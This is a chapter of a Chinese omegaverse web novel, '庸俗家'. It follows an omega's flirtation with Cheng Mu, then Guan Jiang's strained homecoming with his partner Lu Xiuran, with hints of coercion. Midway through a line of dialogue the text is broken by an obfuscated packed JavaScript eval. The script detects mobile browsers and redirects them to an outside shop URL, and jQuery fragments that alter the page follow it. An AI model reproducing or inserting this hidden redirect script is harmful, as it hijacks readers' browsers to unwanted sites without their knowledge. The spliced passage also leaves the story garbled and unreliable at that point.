9. 职场宝妈堕落记 09
作品:《庸俗家》 “怎么又输给我了。”
omega侧过头,发觉alpha似乎在走神,噘着嘴放下游戏手柄,“专心一点好不好嘛,这样还有什么意思,不许再故意让我。”他嗔怪道。
程牧耸耸肩,“你比较厉害而已。”
“你要是觉得在我家里打游戏不好玩,我们就去别的地方。”omega手肘撑着地毯挪到他近前,下巴搁到他的膝盖上,仰头露出个充满暗示的笑,“这么看着的话,你真人似乎比照片还要好看呢,我一直以为你主页里那些都是照骗。”他一边说着一边伸出手,摸了摸alpha的下颌线,“你真的是我见过的最帅的alpha,真的。”
对方对这番夸赞毫无反应。他忍不住主动问,“你呢,你觉得我怎么样?我好看吗?”
“好看。”
omega气得一捶地毯:程牧说这话时压根没看他。“喂!”
“你是我见过的最漂亮的omega。”
他一下又被哄得心花怒放,又忍不住扭捏道,“真的吗?像你这样的,之前应该交往过很多好看的omega吧,我比他们还好看吗——你说你来X市是出差,可你主页不是说你也还在上学么?你到底多大呀?”
这便是date对象年纪太小的缺点,程牧想,总是问来问去,有过剩的好奇心。
等会儿该找什么借口提前离开呢?
“听起来你上班的地方好没意思哦。”
“什么才叫有意思?”程牧反问。
“哎呀,”omega的手指在半空交叉在一起,“就是你们同事之间有没有比较劲爆的八卦?我告诉你一个秘密哦,你可不要告诉别人——成年人的世界很肮脏很肮脏的。我爸爸很久以前就出轨了,出轨对象是他的beta秘书。我妈妈在公司里也有个alpha男友,他们还以为我不知道。”
“……”
程牧又开始走神。
“喂——”
“……你是怎么发现的?”
omega歪了歪头,“他们的账户消费记录里经常有很多我在家从来没见过的东西——你知道最明显的是什么吗?是他们每次出门和情人快活了之后回到家里,两个人就会突然一下子变得对彼此特别好,特别蜜里调油,就像是世界上最最最幸福的夫妻一样——因为他们觉得愧疚,觉得对不起对方,所以想要补偿。是不是很好笑?”
12
飞机在远机位落了地,滑行了快三十分钟才开始下客。
关姜在空旷的航站楼里穿行,到达出口时,有一道熟悉的人影早已等在了那里。
路修然也看见了他,上前来接过他手里的行李。“晚餐吃过了吗,饿不饿?”
“吃过了。”
他和路修然并排走了一会儿,“你等多久了?不是告诉你了不用来机场,我自己回去就好。”
“没有很久。”路修然揽住他,“我就是想来接你。X市冷么?”
到了停车场,却是他先打了个喷嚏。
“……谁让你穿这么少就出门。”关姜停下动作,从拎着的一堆购物袋里拿出条围巾扔过去。“戴上。”
“给我买的?”路修然笑起来,“这么好看。可别对我太好啊,不然我可要得寸进尺了。要在这里亲一下么?”
“你废话真多。”
“那些也是给我带的礼物?”
“想得挺美——你的只有这个,其他的都是给跃跃和郑女士的。”
见到对方拖拖拉拉系了半天,最后系出了个极其难看的形状,关姜在心里叹了口气。“我来系。”又拍开一只想要伸过来帮忙实则是在捣乱的手,“别动啊你。”
alpha眯起眼,双手背到身后,一副老老实实任他作为的模样。“项目还顺利吧,你们老板也跟着去了?”
“你都说他是老板了,当然在。”关姜没抬头。
“他没再为难你吧?”
“能怎么为难。”
关姜盯着围巾上的格纹图案,“该做的事总得做。”他退开一步,“好了。去开车。”
回到家,客厅亮着一盏落地灯。电视屏幕无声地闪着光,在重播晚间新闻。
小猫听到开门的动静后就钻出了猫窝,睁着碧蓝的眼睛望过来,在墙角处蹲下,朝门厅轻轻叫了一声。
“我去洗澡,你先睡——小声点,跃跃容易醒。”
“我等你。”
关姜摸了摸小猫的脑袋,听到它发出轻轻的呼噜声,“我太累了。我今晚去客房睡,你一个人睡吧。”
“就这么不相信我?我绝对不会乱来,真的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219132|197495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“……你前科太多,我不相信你。”
“好吧,好吧——”alpha举起双手,很是无奈地转身回了房间,“那晚安,早点睡,记得把头发吹干。”
头一沾上枕头,睡意几乎是立刻就席卷而来。可明明困到了极致,白天的记忆又突然间变得活跃,一幕一幕在他眼前循环往复地播放。
辗转反侧了许久,关姜起了身,摸到客厅的药柜,翻找出还剩下小半瓶的褪黑素吃了几粒,又躺下尝试着逼自己入睡。
好在药物起了些效果,很快他就感觉到自己的眼皮开始沉重,意识也开始模糊。
忽然的,身旁的床铺下陷了些许。
在被抱住的刹那,他在黑暗中猛然睁开了眼睛,心脏似乎都停了半拍。
“……我不是故意想吵醒你。”路修然哑声道,“我真的不会做什么。就这么让我抱着就好。我以为……我以为你已经原谅我了。”
他看不见。关姜迫使自己冷静下来,他看不见的——
身上那些还未消退的痕迹似乎仍在隐隐地刺痛着,如同一张网,密不透风地裹住他,越缠越紧。
不知过去了多久,喷洒在脖颈后的呼吸终于变得重而缓。他挣脱了alpha的环抱,蜷缩到床铺的另一边。
窗外刚看得到一丝天光时,他就翻身起了床。
冰箱门开合,玻璃壶被放到了岛台上。咖啡机低沉地轰鸣着——晚间设定好的程序开始执行了。
一直到咖啡豆香醇的味道弥漫整个厨房,次卧才传来郑芸君起床的响动,然后才是儿童房的起床闹钟,《春之声圆舞曲》前八小节,音量渐强。
烤面包机弹出烤好的吐司片。关姜起身,用木夹取出一片放在面前的骨瓷盘中。
“怎么醒得这么早。”路修然睡眼惺忪跨进厨房,“做我的那份了吗?”
“去叫跃跃起床。”
一切都如常进行。吃过早餐,路修然出门送跃跃去幼稚园,他则开车往公司上班。通勤路上没有遇上太多红灯,停靠九到十九层的电梯也很快来到了地下二层,他和几个或熟悉或陌生的同事走进轿厢。
又有人从身后跟上来,“姜哥。”
他回过头,程牧露出一个灿烂的笑,“早上好啊,你也是昨天回的S市?”

